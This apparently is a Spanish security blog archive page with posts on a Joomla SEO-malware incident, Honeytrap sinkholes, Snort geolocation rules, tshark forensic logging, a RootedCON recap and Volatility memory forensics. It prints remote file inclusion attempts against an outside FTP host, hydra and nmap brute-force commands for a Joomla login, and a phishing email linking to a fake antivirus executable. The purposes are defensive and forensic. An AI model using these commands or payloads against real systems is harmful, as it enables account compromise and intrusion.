Incidente con Malware de posicionamiento en buscadores, SEO

Recientemente detectamos en un servidor una extraña conexión hacia un servidor que hizo saltar la alarma por un posible compromiso del mismo. La petición que se detectó desde dicho servidor fue únicamente la que se muestra a continuación:

GET /system/mngr.php?id=a5f99b82b662d6e2b98b30e3077606ba&md5=9e5d6df936986f0b4d5fd4794807824f HTTP/1.0
Host: manka11.com

Como única respuesta se recibió la palabra UNCHANGED.

Tras analizar las peticiones que recibe el servidor, no se aprecia ninguna sospechosa que pudiera indicar alguna webshell desde la que lanzar esa petición, ni ninguna orden dirigida a un recurso sospechoso o pasada como parámetro que llamase la atención, lo que nos hizo analizar el registro del servidor para ver qué actividad hubo.

Antes de pasar a analizar el log, buscamos los últimos ficheros modificados en el directorio del servidor y, por tratarse de un posible servidor web comprometido, especialmente aquellos ficheros con funciones que utiliza habitualmente el malware para ofuscarse (base64_decode, preg_replace, eval, error_reporting(0), etc.). En este caso ya empezamos a ver indicios que nos llevaban en la dirección correcta: unas carpetas que parecen ser módulos de Joomla! creados en fechas diferentes que contienen algunas de las funciones buscadas:

[Read more…]

Una reflexión sobre la alteración en el Análisis Forense

En multitud de ocasiones, cuando se habla de las actuaciones de un forense informático se remarca la necesidad de no alterar «la escena». Se nos recuerda que debemos ser muy cuidadosos para no alterar nada, no conectar nada, no ejecutar nada. Aunque en la práctica, en mi opinión, esto no siempre es del todo así.

A la cabeza me viene el Principio de incertidumbre de Heisenberg, que se puede resumir de una manera muy sencilla en su aplicación práctica como que cuando se quiere medir la posición de una partícula subatómica ésta se altera, por lo que nuestra medición ya no será la real. En definitiva, si queremos medir la posición o características de un electrón, alteraremos su estado. O en nuestro caso, si queremos recopilar información, seguro que alteraremos algo.

[Read more…]

Mejora de un sinkhole con Honeytrap (II)

Instalación Honeytrap

La instalación es sencilla, se resuelven algunas dependencias y nos descargamos el código por GIT. Cuando se compila puede que aparezca un error debido a que se declara una variable que luego no se usa, podemos omitir esa comprobación y compila sin problemas. Finalmente, editamos el fichero de configuración según nuestras necesidades.

Antes de lanzar la aplicación, como hace uso de ip_queue (IPQ) tenemos que añadir la siguiente regla en iptables:


$ sudo iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW -j QUEUE
$ honeytrap -C /opt/honeytrap/etc/honeytrap/honeytrap.conf -u nobody -g nogroup -t 5

 

[Read more…]

Mejora de un sinkhole con Honeytrap (I)

Un sinkhole es un sistema por el que determinadas peticiones DNS se resuelven de forma diferente para, normalmente, desviar el tráfico a otro destino controlado (bien sea localhost o una IP determinada). Se utiliza de forma que evitemos que se contacte con el servidor malicioso, combatiendo bastante activamente botnets y virus/downloaders. Bien, el otro día estuve pensando una manera de capturar el tráfico que estaría bloqueando el sinkhole para analizarlo y tratar de actuar contra el software malicioso o, al menos, identificarlo mejor. En esta entrada voy a mostrar una forma de completar ese sistema de Sinkhole con Honeytrap y OpenFPC.

Honeytrap es un tipo de honeypot, desarrollado por Tillmann Werner, cuya principal característica es que no ofrece unos servicios vulnerables concretos sino que simula cualquier servicio, al continuar con la negociación TCP en cualquier puerto y esperar la petición del atacante para registrarla. Esto permite detectar ataques desconocidos (siempre pensando en la máxima de que todo tráfico que cae en una honey es malicioso/sospechoso). También cuenta con un número de respuestas prefijadas para algunos servicios concretos (HTTP, POP3, FTP…).

Entrando un poco más en detalle sobre su funcionamiento, lo que hace es capturar con iptables las peticiones SYN que entran en el sistema y enviarlas a Honeytrap, quien continuará con el establecimiento de la conexión (SYN/ACK). Se dice que es un honeypot de baja interacción porque una vez que se establece la conexión TCP, queda a la espera de la petición del atacante y, en algunos casos, devuelve una respuesta prefijada sin tener en cuenta la petición. De esta forma podremos capturar, al menos, la primera petición en cualquier puerto, sin tener un servicio escuchando en los 2^16 puertos TCP y otros tantos UDP que hay.

Por otro lado, para registrar todo el tráfico de una forma eficiente y poder analizarlo cómodamente más adelante utilizaremos OpenFPC. OpenFPC es un magnífico sistema de captura del tráfico de red que puede ser utilizado en tareas forenses. Encabezado por Leon Ward (@leonward), está basado en Daemonlogger y tshark (principalmente) y básicamente es un sistema para capturar el tráfico, clasificarlo en conversaciones/sesiones (mediante cxtracker), y descargarlo en formato PCAP. Almacena las sesiones en MySQL y ofrece una interfaz de consola y web con la que obtener los paquetes mediante filtros de búsqueda.

El esquema del diseño propuesto podría ser algo así:

Vemos cómo desde la red interna se envían las peticiones al servidor DNS, en este caso ubicado en una DMZ. En función de si el dominio está en una lista negra o no, se resolverá con la IP real (hacia Internet) o hacia nuestro Honeytrap.

Delante de Honeytrap hemos preparado una máquina con iptables y OpenFPC que registrará todo el tráfico que pase por ella con el objeto de analizar el tráfico. Tendremos que configurarlo para evitar que salga tráfico hacia Internet desde dicha máquina y evitar que el malware actúe.

En la siguiente entrega, veremos cómo montar el sistema y capturar tráfico malicioso de un sencillo bot corriendo en una máquina interna que desviaremos hacia nuestro honeypot para analizarlo.

Snort: Alertas geolocalizadas complejas

En mi anterior artículo expuse un ejemplo para geolocalizar determinadas alertas utilizando flowbits y un preprocesador o rangos de IP para identificar el país. El ejemplo terminaba con la búsqueda de una cadena de texto en un certificado SSL de una forma un poco «chapucera».

Vamos a retomarlo desde este punto para buscar un certificado de una forma más ortodoxa. Para ello, se utilizará el preprocesador SSL/TLS (SSLPP).

El preprocesador SSLPP es más importante de lo que pueda parecer a priori, y lo sabrá la gente que administre Snort en redes con una alta tasa de tráfico, ya que no sólo permite extraer información de una comunicación SSL/TLS sino que, con la opción noinspect_encrypted dejará de analizar el tráfico marcado como cifrado, aumentando sensiblemente el rendimiento (especialmente en entornos cargados).

[Read more…]

Snort: Alertas geolocalizadas con flowbits

En esta ocasión voy a mostrar un ejemplo que sirva de idea sobre cómo utilizar reglas un poco más complejas en Snort para detectar actividades sospechosas en nuestra red basadas en geolocalización. Para ello, haremos uso de la opción flowbits en unas determinadas reglas para que salten cuando aparezcan algunos países que consideraremos como hostiles o peligrosos.

Entrando un poco en detalle, deciros que me basaré en el preprocesador de geolocalización que desarrolló nuestro compañero Joaquín Moreno (un saludo, Ximo ;)). De esta forma vamos a marcar las conversaciones con países que queramos destacar y activaremos un flowbit, que luego será comprobado por algunas reglas puntuales.

Para comenzar por la geolocalización podemos empezar por analizar las peticiones DNS realizadas por nuestros equipos hacia dominios de países hostiles:

alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:”DNS Petición dominio en Islas Caiman”; 
flow:to_server; byte_test:1,!&,0xF8,2; content:"|03|ky|00|"; fast_pattern:only; 
sid: 3200001; rev:1;)

Esto podría alertar sobre una situación anómala pero no significa que la comunicación se establezca, ni siquiera si el servidor se encuentra en esa ubicación, aunque podemos utilizarla como un indicio más si contamos con un correlador de alertas. A continuación haremos uso del preprocesador de geolocalización para detectar comunicaciones hacia determinados países:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”S2 GEO Conexión TCP a país 
sospechoso”; flow:established,to_server; country: [] -> [KY]; 
flowbits:set,s2.geo.taxhaven; flowbits:noalert; sid: 3200002; rev:1;)

Otra forma de geolocalizar, aunque mucho más costosa de mantener, es definir una variable indicando rangos de direcciones IP.

ipvar $TAX_HAVEN [63.136.112.0/21, 74.117.112.0/21, 74.117.216.0/21, 74.222.64.0/19, 
162.211.136.0/22, 73.225.208.0/20, 192.0.4.0/22, 198.147.208.0/22, 199.201.84.0/22, 
208.82.216.0/22, 208.157.144.0/21, 208.168.224.0/19, 209.27.52.0/22, 209.27.60.0/22, 
216.144.80.0/20]

alert tcp $HOME_NET any -> $TAX_HAVEN $HTTP_PORTS (msg:” S2 GEO Conexión TCP a país
 sospechoso”; flow:established,to_server; flowbits:set,s2.geo.taxhaven; 
flowbits:noalert; sid:3200003; rev:1;)

En ambos casos activamos el flowbits2.geo.taxhaven‘ y con el parámetro noalert le indicamos que no genere alerta. Esto no es necesario pero la alerta que nos interesa es la siguiente por lo que no queremos que nos alerte en este caso.

Ahora viene la regla compleja. Utilizaremos una regla que nos avise en caso de que un servidor nos presente un certificado SSL que contenga las palabras “Bank” o “Cayman Island”. Previamente, comprueba que el flowbits2.geo.taxhaven‘ está activo para esa conversación, es decir, no sólo el servidor dice ser de Islas Caimán sino que la IP está ubicada allí.

alert tcp $TAX_HAVEN 443 -> $HOME_NET any (msg:”S2 GEO Certificado SSL de Islas Caimán”;
 flow:established,to_client; flowbits:isset,s2.geo.taxhaven; content:“Bank”; 
content:“Cayman Island”; sid:3200004; rev:1;)

Todo esto tan sólo ha sido un ejemplo. Estoy seguro de que podréis adaptar estas reglas a aquellas situaciones en las que queráis añadir geolocalización. Particularmente, yo creo una regla por cada país hostil y utilizo un flowbitsbadcountry”. Por otro lado, creo reglas para que me alerten de descarga de ficheros o conexiones desde IPs críticas a una serie de países hostiles desde el punto de vista de ser fuente de frecuentes ataques de red (flowbits:isset,s2.geo.badcountry).

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”S2 GEO Conexión TCP a país 
sospechoso (Israel)”; flow:established,to_server; country: [] -> [IL]; 
flowbits:set,s2.geo.badcountry; flowbits:noalert; sid: 3200021; rev:1;) 
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”S2 GEO Conexión TCP a país 
sospechoso (Rusia)”; flow:established,to_server; country: [] -> [RU]; 
flowbits:set,s2.geo.badcountry; flowbits:noalert; sid: 3200022; rev:1;) 
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”S2 GEO Conexión TCP a país 
sospechoso (Ucrania)”; flow:established,to_server; country: [] -> [UA]; 
flowbits:set,s2.geo.badcountry; flowbits:noalert; sid: 3200023; rev:1;) 
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”S2 GEO Conexión TCP a país 
sospechoso (Lituania)”; flow:established,to_server; country: [] -> [LT]; 
flowbits:set,s2.geo.badcountry; flowbits:noalert; sid: 3200024; rev:1;)
[...]

NOTA: Por cuestión de rendimiento, el orden en el que se comprueba el flowbit es importante, por lo que en comunicaciones TCP se recomienda colocarlo inmediatamente después del parámetro flow.

Registro forense de red con tshark

En ocasiones puede ocurrir que, según la topología de la red y la estructura de la organización en la que nos encontremos, no tengamos acceso al registro de los servidores web de una manera fácil y rápida pero sí podamos capturar el tráfico de red que va dirigido a ellos. Esto puede dificultar una rápida actuación ante un incidente de seguridad donde la respuesta debe ser lo más ágil posible con el objeto de minimizar el daño que se haya podido producir.

Si nos encontráramos en una situación así vamos a ver cómo podemos hacer uso de tshark para capturar el tráfico y dejar un registro de red para tareas forenses en caso de incidente. De esta manera podremos identificar los ataques ocurridos, con el añadido de poder analizar tanto la respuesta del servidor a dicho ataque como el posterior tráfico y así descubrir indicios de si el servidor ha sido comprometido.

Para capturar el tráfico de la forma más eficiente posible para este propósito tenemos dos opciones. La primera se conoce como Autostop. Consiste en capturar el tráfico y guardarlo en un fichero hasta que se produzca alguna de las situaciones definidas, a saber, cuando se captura un determinado volumen de tráfico o durante un tiempo. Una vez finalizado, la captura se detiene.

Para realizar este tipo de captura, se utilizaría la opción ‘-a‘, que acepta los parámetros duration, filesize y files. Un ejemplo podría ser como el siguiente:

$ tshark -nni eth0 -a filesize:200000 -a files:10 -w securityartwork.pcap

El comando anterior capturará el tráfico y lo guardará en ficheros de 200.000 kilobytes cada uno y cuando llegue a 10 se detendrá. Los ficheros tendrán el prefijo securityartwork con el número de fichero y un timestamp.

$ ls -l
-rw------- 1 nbelda nbelda 196M Apr 28 17:15 securityartwork_00001_20130428152638.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 18:30 securityartwork_00002_20130428171511.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 19:23 securityartwork_00003_20130428183043.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 20:47 securityartwork_00004_20130428192349.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 22:01 securityartwork_00005_20130428204747.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 23:03 securityartwork_00006_20130428220140.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 00:30 securityartwork_00007_20130428230336.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 02:57 securityartwork_00008_20130429003026.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 05:43 securityartwork_00009_20130429025734.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:54 securityartwork_00010_20130429054313.pcap

La otra opción consiste en crear un buffer circular con las características que definamos. Una vez se cumplan las condiciones, se borra el fichero más antiguo creando así ese buffer circular. La opción a utilizar es ‘-b‘ y los parámetros son los mismos que con Autostop. Un ejemplo muy utilizado es el siguiente:

$ nohup tshark -nni eth0 -b filesize:200000 -b files:10 -w saw_buffer.pcap &
$ ls -l
-rw------- 1 nbelda nbelda 196M Apr 29 01:47 saw_buffer_08554_20130429005947.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 02:39 saw_buffer_08555_20130429014710.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 03:21 saw_buffer_08556_20130429023931.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 04:16 saw_buffer_08557_20130429032138.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 05:27 saw_buffer_08558_20130429041611.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 06:42 saw_buffer_08559_20130429052745.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:21 saw_buffer_08560_20130429064246.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:48 saw_buffer_08561_20130429072111.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 08:15 saw_buffer_08562_20130429074818.pcap
-rw------- 1 nbelda nbelda  37M Apr 29 08:17 saw_buffer_08563_20130429081535.pcap

Con esto tendremos un buffer de 2GB (aproximadamente) con el que tendremos una captura del tráfico para analizar en caso de detectar un incidente en alguno de nuestros servidores. El tamaño y número de los ficheros dependrá del tráfico de red, del espacio del que dispongamos en el disco duro y de la ventana temporal que queramos almacenar.

Para aclarar los últimos comandos, nohup y el ampersand (&) los utilizamos para dejarlo funcionando en background y no se detenga al cerrar sesión en el servidor; ya que la idea es dejarlo siempre en funcionamiento y analizarlo en caso de incidente.

Por último nos queda la visualización del tráfico. Tenemos una captura de tráfico con un tamaño importante, así que utilizar Wireshark queda descartado (si no, probar a abrir un archivo de 200MB) y necesitamos mostrar información útil. En esta ocasión vamos a ver cómo crear un archivo similar al log de Apache.

Explicaré un poco cómo se crea este fichero a partir del buffer creado. Primero creamos un bucle para leer cada uno de los ficheros, luego utilizamos los filtros de tshark para crear la salida. NOTA: la opción -T fields se utiliza para indicar qué campos queremos mostrar, indicándolos a continuación, en modo texto. Para más información, visitad el blog de Alfon Seguridad y Redes.

$ for file in $(ls -1 saw_buffer*.pcap) ; do tshark -nnr $file -T fields -e frame.time 
   -e ip.src -e ip.geoip.src_country -e http.request.method -e http.request.uri >> 
   saw_apache.log ; done

En caso de haber más de un servidor detrás podemos utilizar http.request.full_uri para identificar más fácilmente las peticiones a cada servidor.

$ tail saw_apache.log
Apr 26, 2013 07:02:09.921552000	187.79.225.59	Brazil
  GET /web/index.php?limitstart=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:09.930596000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:10.057270000	187.79.225.59	Brazil	
  GET /index.php?limitstart=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:10.062135000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:10.069157000	187.79.225.59	Brazil	
  GET /index.php?option=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:10.074002000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:11.128034000	187.79.225.59	Brazil	
  GET /biblioteca/index.php?lvl=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:11.134320000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:13.773525000	187.79.225.59	Brazil	
  GET /index.php?option=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:13.785738000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:14.071371000	187.79.225.59	Brazil	
  GET /index.php?module=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:14.076231000	193.XXX.XXX.XXX	Spain

Personalmente, suelo utilizar la herramienta Highlighter de Mandiant, para analizar este tipo de ficheros en busca de peticiones maliciosas y demás comportamiento anómalo. Su uso es sencillo, aunque lo dejamos para otro posible post.

/Rooted CON 2013 día 3

El tercer día de la /RootedCON se presentó igualmente interesante a pesar del cansancio acumulado. Prueba de ello fue la gran asistencia desde la primera charla que nos presentó la gente de Taddong, David Pérez y José Picó. Nos mostraron una manera de localizar un terminal móvil a través de la señal de comunicaciones por GSM. ¡Estaba chupado! Explicaron cómo triangular la señal utilizando para ello una estación base propia, conociendo únicamente el IMEI del teléfono a localizar y forzando a que se conecte a ésta. Tras una divertida explicación del proceso, modelos matemáticos utilizados y correcciones para que no lo situara en el Oceano Índico, consiguieron una precisión de un par de metros en un área de 2 kilómetros utilizando una antena omnidireccional para la localización aproximada y posteriormente cambiando a una dirigida para mayor precisión.

La siguiente charla vino de la mano de Joxean Koret, quien nos presentó la problemática de las aplicaciones actuales para detectar bugs y vulnerabilidades en el código y su propuesta: Fugue. Vimos que es necesaria una gran cantidad de dinero si quieres hacer uso de aplicaciones comerciales, aprendimos sus limitaciones y cómo las aplicaciones libres que existen en el mercado se quedan muy cortas cuando se trata de código con millones de líneas y un giga de tamaño. Esta herramienta, aún en desarrollo y parece que por mucho tiempo (entendemos el porqué), es capaz de analizar tanto el código como el programa compilado haciendo uso de una transformación AST, utilizar checkers de firmas tanto habituales como creadas por el usuario y centrarse únicamente en las partes del código que queramos y determinadas funciones o variables. Una idea sensacional en la que debe haber unas cuantas horas invertidas; si no recuerdo mal, cuatro años. Una presentación muy inteligible para un tema tan denso como éste.

Tras una pequeña pausa para reponer fuerzas con las famosas conchas, pasamos a la charla de Jaime Sánchez. En ella recordó el viaje realizado por un paquete de red desde la tarjeta hasta el espacio de usuario y presentó unos scripts para manipular la información de estos paquetes, con el objeto de confundir al usuario o a aplicaciones de fingerprinting, realizar detección de intrusiones a través de covert channels o para actuar como un IPS. Una charla muy interactiva con muchas demos en vivo.

A continuación llegó Raúl Siles, con una fuerte ovación incluso antes de comenzar con su presentación, en la que nos contó cómo funciona el mecanismo de conexión de diferentes dispositivos móviles a las redes Wi-Fi, cómo poder listar los PNL o Lista de Redes Conocidas y tras esto tratar de forzar al terminal a que se conecte a un punto de acceso controlado por nosotros. Vimos que en muchas ocasiones no se pueden eliminar las PNL y nuestro terminal se podría conectar sin nuestro conocimiento, para lo que presentó su iStupid, una herramienta para eliminarlas. Hizo una demostración en vivo de los PNL de los dispositivos de los presentes en la /RootedCON, a punto de establecer un Hall of Shame de PNLs comprometedoras. Tras muchas risas, terminó con las posibilidades de realizar MitM suplantando esas redes según el cifrado y el dispositivo utilizados. Muy completa.

Albert López sorprendió con una actualización del clásico HEAP overflow pero aplicándolo a las versiones actuales de glibc y kernel. Hizo una introducción muy detallada e ilustrativa del HEAP overflow y cómo jugar con las referencias a punteros de los BITS libres. He de reconocer que algunos nos perdimos con tanta referencia a forward y backward… Presentó algunas pruebas de concepto y correcciones sobre las diferentes formas de explotarlo, actualizando y corrigiendo un paper de 2005. Finalmente explicó un escenario muy particular de explotación (House of Mind) y cómo aprovecharlo. Anunció un paper de 100 páginas donde desarrolla en profundidad todo esto y la manera de evadir el parche que sacaron para corregir el fallo de House of Mind.

Para cerrar la jornada y el congreso, tuvimos la visita inesperada de Wardog, al que los asistentes pudieron realizar toda clase de preguntas y dudas y recibir sus punzantes respuestas. Muy divertido, como siempre. Tras esos minutos de entrevista llegó la hora de Chema Alonso y su presentación sobre IPv6, no sin antes agradecer la auditoría que hicieron de su panel de control de la botnet que presentó en la /RootedCON 2012 y algún que otro inquietante correo que le llegó a raíz de sus ponencias en diferentes eventos internacionales. Nosotros nos tuvimos que marchar dejando al pobre Chema con un problema con el router en IPv6, pero nos consta que pudo solucionarlo y seguir con la demo de su ponencia.

Finalmente queremos felicitar a la organización por el alto nivel de los ponentes, la coordinación de un evento con más de 600 personas. Estamos esperando ya impacientes la celebración de la /RootedCON 2014 a la que no faltaremos.

Nmap –script http-joomla-brute. Donde THC-Hydra no sirve.

Durante una auditoría reciente quise probar un poco la robustez de las contraseñas utilizadas y me lancé a intentar un ataque de diccionario sencillito contra el formulario de entrada de Joomla! por si existía alguna cuenta con una de esas contraseñas débiles. El formulario era el siguiente:

El método que apunta Rafa en su artículo THC-Hydra: Obtener credenciales de usuario por fuerza bruta es totalmente válido para formularios sencillos pero en este caso no nos sirve por una particularidad: si observamos el código del formulario vemos que, además de los parámetros username y passwd, tiene un campo oculto que varía en cada sesión. A continuación pego el código para que se vea a lo que me refiero:

Podemos ver cómo el último campo, que tiene un valor de 1, está formado por 32 dígitos en hexadecimal que se generan cada vez, por lo que no podemos saber a priori su valor e incluirlo en la petición de THC-Hydra. La petición utilizando la herramienta anterior sería algo así (remarco el parámetro de seguridad en negrita):

$ hydra -l admin -p admin1234 <server> http-post-form "/index.php:username=^USER^&
passwd=^PASS^&lang=&option=com_login&task=login&d0da78038c5132dcd84f11a4ddc83ed3=1:no 
encontrados"

No obstante, veremos que no funciona porque el código generado es diferente al indicado, por lo que el resultado será un mensaje de “Invalid Token”. Debido a esto, y tras varios intentos infructuosos tratando de recuperar ese valor e incluirlo en la petición de THC-Hydra sin éxito, recurrí a nmap para ver si tenía algún script que pudiera ayudar en esta situación.

Efectivamente, tras buscar información en Google y encontrar un script que parecía hacer lo que yo pretendía: http-joomla-brute. Revisé el código y vi que sí hacía uso del parámetro “security token” para contruir la petición, así que supuse que funcionaría en esta situación.

[...]
if response.body then 
	_, _, security_token = string.find(response.body, '<input type="hidden" 
                                           name="(%w+)" value="1" />') 
end 
if security_token then 
	stdnse.print_debug(2, "Security Token found:%s", security_token) 
else 
	stdnse.print_debug(2, "The security token was not found.") 
	return false 
end 
[...]

El código anterior busca dicho token en el formulario devuelto por el servidor y lo almacena en security_token, que lo utilizará más adelante al enviar el POST. Por eso, en caso de que el formulario incluya ese mecanismo de seguridad, podríamos utilizar nmap de la siguiente manera:

$ nmap -p80 --script http-joomla-brute --script-args 'userdb=user.txt,passdb=~/john-1.7.9/run/
password.lst,http-joomla-brute.hostname=,http-joomla-brute.threads=3,
brute.firstonly=true' <server>

Starting Nmap 6.00 ( http://nmap.org ) at 2013-01-30 14:49 CET 
Stats: 0:07:45 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan 
NSE Timing: About 0.00% done 
Stats: 0:09:06 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan 
NSE Timing: About 0.00% done 
Nmap scan report for <server> (192.168.XXX.XXX) 
Host is up (0.0038s latency). 
PORT   STATE SERVICE 
80/tcp open  http 
| http-joomla-brute: 
|   Accounts 
|     No valid accounts found 
|   Statistics 
|_    Performed 3546 guesses in 605 seconds, average tps: 5 

Nmap done: 1 IP address (1 host up) scanned in 604.97 seconds 

Espero que os sirva de ayuda y os ahorre tiempo ya que estuve un rato pegándome con THC-Hydra para ver cómo podía hacer que cogiera ese parámetro automáticamente, aunque si alguien conoce otra forma de hacerlo puede indicarlo en los comentarios.

Nuevo plugin MFTParser en la versión alfa de Volatility

Realizando el otro día el reto del análisis forense que había dejado Jack Crook (@jackcr) en el grupo GCIH de LinkedIn, actualicé Volatility a la versión 2.3_alpha. En este reto, el autor había incluido el volcado de la RAM y un timeline del disco de cada uno de los equipos afectados, así como una captura del tráfico de red. No obstante, al revisar las novedades que incluia esta versión Alfa vi que traía un par de ellas que llamaban la atención: mbrparser y mftparser.

Mftparser, como se indica en la página de Volatility, escanea y analiza entradas en la Master File Table (MFT). El plugin escanea la memoria en busca de posibles entradas de la MFT y muestra determinada información asociada. Una explicación del funcionamiento se detalla con más profundidad en la entrada OMFW 2012: Reconstructing the MBR and MFT from Memory.

A pesar de que tenía el timeline, decidí probar el nuevo plugin y compararlo con el que nos habían proporcionado. La salida puede mostrarse en un formato tabulado o, aquí es donde se le puede sacar mucho potencial, en formato el body de Sleuthkit (con la opción –output=body).

mbelda@audit:~/Forensics/jackcr-challenge$ python ~/volatility/vol.py --profile=WinXPSP3x86 -f 
  ENG-USTXHOU-148/memdump.bin mftparser –output=body
Volatile Systems Volatility Framework 2.3_alpha

Scanning for MFT entries and building directory, this can take a while
(FN) 0x12d588|WINDOWS\Prefetch\NETEXE~1.PF|11727|---a-------I---|0|0|424|1353971273|1353971273|
  1353971273|1353971273
(SI) 0x12d588|WINDOWS\Prefetch\NETEXE~1.PF|11727|---a-------I---|0|0|424|1353971273|1353971273|
  1353971273|1353971273
(FN) 0x12d588|WINDOWS\Prefetch\NET.EXE-01A53C2F.pf|11727|---a-------I---|0|0|424|1353971273|
  1353971273|1353971273|1353971273
(FN) 0x2bbee0|WINDOWS\Prefetch\NET1EX~1.PF|11728|---a-------I---|0|0|432|1353971306|1353971306|
  1353971306|1353971306
(SI) 0x2bbee0|WINDOWS\Prefetch\NET1EX~1.PF|11728|---a-------I---|0|0|432|1353971306|1353971306|
  1353971306|1353971306
(FN) 0x2bbee0|(Null)|11728|---------------|0|0|432|0|0|0|0
(FN) 0x311000|WINDOWS\Prefetch\NET1EX~1.PF|11728|---a-------I---|0|0|480|1353971306|1353971306|
  1353971306|1353971306
(SI) 0x311000|WINDOWS\Prefetch\NET1EX~1.PF|11728|---a-------I---|0|0|480|1353980005|1353980005|
  1353980005|1353971306
(FN) 0x311000|WINDOWS\Prefetch\NET1.EXE-029B9DB4.pf|11728|---a-------I---|0|0|480|1353971306|13
  53971306|1353971306|1353971306
(FN) 0x311400|WINDOWS\Prefetch\SLEXE-~1.PF|11729|---a-------I---|0|0|472|1353971435|1353971435|
  1353971435|1353971435
(SI) 0x311400|WINDOWS\Prefetch\SLEXE-~1.PF|11729|---a-------I---|0|0|472|1353971493|1353971493|
  1353971493|1353971435
[...]

Luego basta con ejecutar mactime, de la suite Sleuthkit, sobre este fichero y obtendremos un timeline del sistema a partir de la RAM de éste.

mbelda@audit:~/Forensics/jackcr-challenge$ mactime -b  ENG-USTXHOU-148/body.txt >  
  ENG-USTXHOU-148/body_mactime.txt

Esto me parece especialmente útil cuando, por motivos de tamaño o disponibilidad, no podemos tener una imagen del disco analizado, aportándonos información de cuándo se creó o accedió a determinados archivos.

Veamos un ejemplo. Gracias a buscar cadenas (comando strings con la IP descubierta mediante el comando connscan) directamente sobre el volcado de la RAM, se descubre un correo recibido por el usuario que contiene un enlace a un fichero ejecutable:

mbelda@audit:~/Forensics/jackcr-challenge$ python ~/volatility/vol.py --profile=WinXPSP3x86 -f 
  ENG-USTXHOU-148/memdump.bin connscan

Volatile Systems Volatility Framework 2.3_alpha
Offset(P)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ---
0x01f60850 0.0.0.0:0                 1.0.0.0:0                 36569092
0x01ffa850 172.16.150.20:1291        58.64.132.141:80          1024
0x0201f850 172.16.150.20:1292        172.16.150.10:445         4
0x02084e68 172.16.150.20:1281        172.16.150.10:389         628
0x020f8988 172.16.150.20:2862        172.16.150.10:135         696
0x02201008 172.16.150.20:1280        172.16.150.10:389         628
0x18615850 172.16.150.20:1292        172.16.150.10:445         4
0x189e8850 172.16.150.20:1291        58.64.132.141:80          1024
0x18a97008 172.16.150.20:1280        172.16.150.10:389         628
0x18b8e850 0.0.0.0:0                 1.0.0.0:0                 36569092
0x18dce988 172.16.150.20:2862        172.16.150.10:135         696

mbelda@audit:~/Forensics/jackcr-challenge$ strings ENG-USTXHOU-148/memdump.bin > 
  ENG-USTXHOU-148/strings.txt
mbelda@audit:~/Forensics/jackcr-challenge$ cat ENG-USTXHOU-148/strings.txt

[…]

Received: from d0793h (d0793h.petro-markets.info [58.64.132.141])
        by ubuntu-router (8.14.3/8.14.3/Debian-9.2ubuntu1) with SMTP id qAQK06Co005842;
        Mon, 26 Nov 2012 15:00:07 -0500
Message-ID: <FCE1C36C7BBC46AFB7C2A251EA868B8B@d0793h>
From: "Security Department" <isd@petro-markets.info>
To: <amirs@petro-market.org>, <callb@petro-market.org>,
        <wrightd@petro-market.org>
Subject: Immediate Action
Date: Mon, 26 Nov 2012 14:59:38 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_NextPart_000_0015_01CDCBE6.A7B92DE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.5512
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5512
Return-Path: isd@petro-markets.info
X-OriginalArrivalTime: 26 Nov 2012 20:00:08.0432 (UTC) FILETIME=[A2ABBF00:01CDCC10]
This is a multi-part message in MIME format.
------=_NextPart_000_0015_01CDCBE6.A7B92DE0
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Attn: Immediate Action is Required!!
The IS department is requiring that all associates update to the new =
version of anti-virus.  This is critical and must be done ASAP!  Failure =
to update anti-virus may result in negative actions.
Please download the new anti-virus and follow the instructions.  Failure =
to install this anti-virus may result in loosing your job!
Please donwload at http://58.64.132.8/download/Symantec-1.43-1.exe
Regards,
The IS Department
------=_NextPart_000_0015_01CDCBE6.A7B92DE0
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
